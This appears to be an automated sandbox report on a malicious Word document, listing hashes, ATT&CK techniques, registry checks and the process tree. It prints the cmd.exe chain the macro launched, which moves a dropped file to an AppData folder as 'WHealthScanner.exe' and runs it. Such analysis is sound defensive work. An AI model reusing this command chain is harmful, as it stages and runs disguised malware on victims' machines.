2407e90893f016d9ed760ed7b9ff5f89f542179af7229fd5c915b81a65862a62

Resubmissions

23-03-2023 01:13

230323-bk51dace88 10

23-03-2023 01:09

230323-bjasvaee4y 10

Analysis

max time kernel
150s
max time network
110s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
23-03-2023 01:13

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General

Target

53734CA399DA5C4D5CF5D365C4F9A0AB.doc
Size

168KB
MD5

53734ca399da5c4d5cf5d365c4f9a0ab
SHA1

f3059e3b29474051033ecf4efffb4015b4a25040
SHA256

2407e90893f016d9ed760ed7b9ff5f89f542179af7229fd5c915b81a65862a62
SHA512

27ac02db04b74487906c3ff74f1a9ea82f96b046e5ba387f63d0083f596ad547aafb44847885a3ca39d82ca4729d586ecc1f6833004869cd6498830be5c3eb9b
SSDEEP

3072:Q0WVcyk7tzU4KoVDlaLNxBClQe5LzvyEW3q58c6D89Cmg62o+9m:xWV3k7lxKoVDlsNxBCz5LzvyEW3q58hQ

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	5056	1840	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4308 PING.EXE
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1840 WINWORD.EXE
1840 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1840 WINWORD.EXE
1840 WINWORD.EXE
1840 WINWORD.EXE
1840 WINWORD.EXE
1840 WINWORD.EXE
1840 WINWORD.EXE
1840 WINWORD.EXE

pid	process
4308	PING.EXE

pid	process
1840	WINWORD.EXE
1840	WINWORD.EXE

pid	process
1840	WINWORD.EXE
1840	WINWORD.EXE
1840	WINWORD.EXE
1840	WINWORD.EXE
1840	WINWORD.EXE
1840	WINWORD.EXE
1840	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1840 wrote to memory of 5056	1840	WINWORD.EXE	cmd.exe
PID 1840 wrote to memory of 5056	1840	WINWORD.EXE	cmd.exe
PID 5056 wrote to memory of 4308	5056	cmd.exe	PING.EXE
PID 5056 wrote to memory of 4308	5056	cmd.exe	PING.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\53734CA399DA5C4D5CF5D365C4F9A0AB.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping -n 13 194.170.189.177&pushd&forfiles /P %tmp% /S /M 5OHOp3SoB*.4PZ /C "cmd /c mkdir %appdata%\rY2oC&move /y @file %appdata%\rY2oC\WHealthScanner.exe&ping -n 20 166.193.61.63&pushd&%appdata%\rY2oC\WHealthScanner.exe"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5056

C:\Windows\system32\PING.EXE
ping -n 13 194.170.189.177
3⤵
- Runs ping.exe
PID:4308

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1840-133-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download
memory/1840-135-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download
memory/1840-134-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download
memory/1840-136-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download
memory/1840-137-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download
memory/1840-138-0x00007FFE0F060000-0x00007FFE0F070000-memory.dmp

Filesize
64KB

Download
memory/1840-139-0x00007FFE0F060000-0x00007FFE0F070000-memory.dmp

Filesize
64KB

Download
memory/1840-151-0x000001D5C9FA0000-0x000001D5CA1A0000-memory.dmp

Filesize
2.0MB

Download
memory/1840-190-0x000001D5CAA00000-0x000001D5CAB53000-memory.dmp

Filesize
1.3MB

Download
memory/1840-196-0x000001D5C9FA0000-0x000001D5CA1A0000-memory.dmp

Filesize
2.0MB

Download
memory/1840-239-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download
memory/1840-240-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download
memory/1840-241-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download
memory/1840-242-0x00007FFE11150000-0x00007FFE11160000-memory.dmp

Filesize
64KB

Download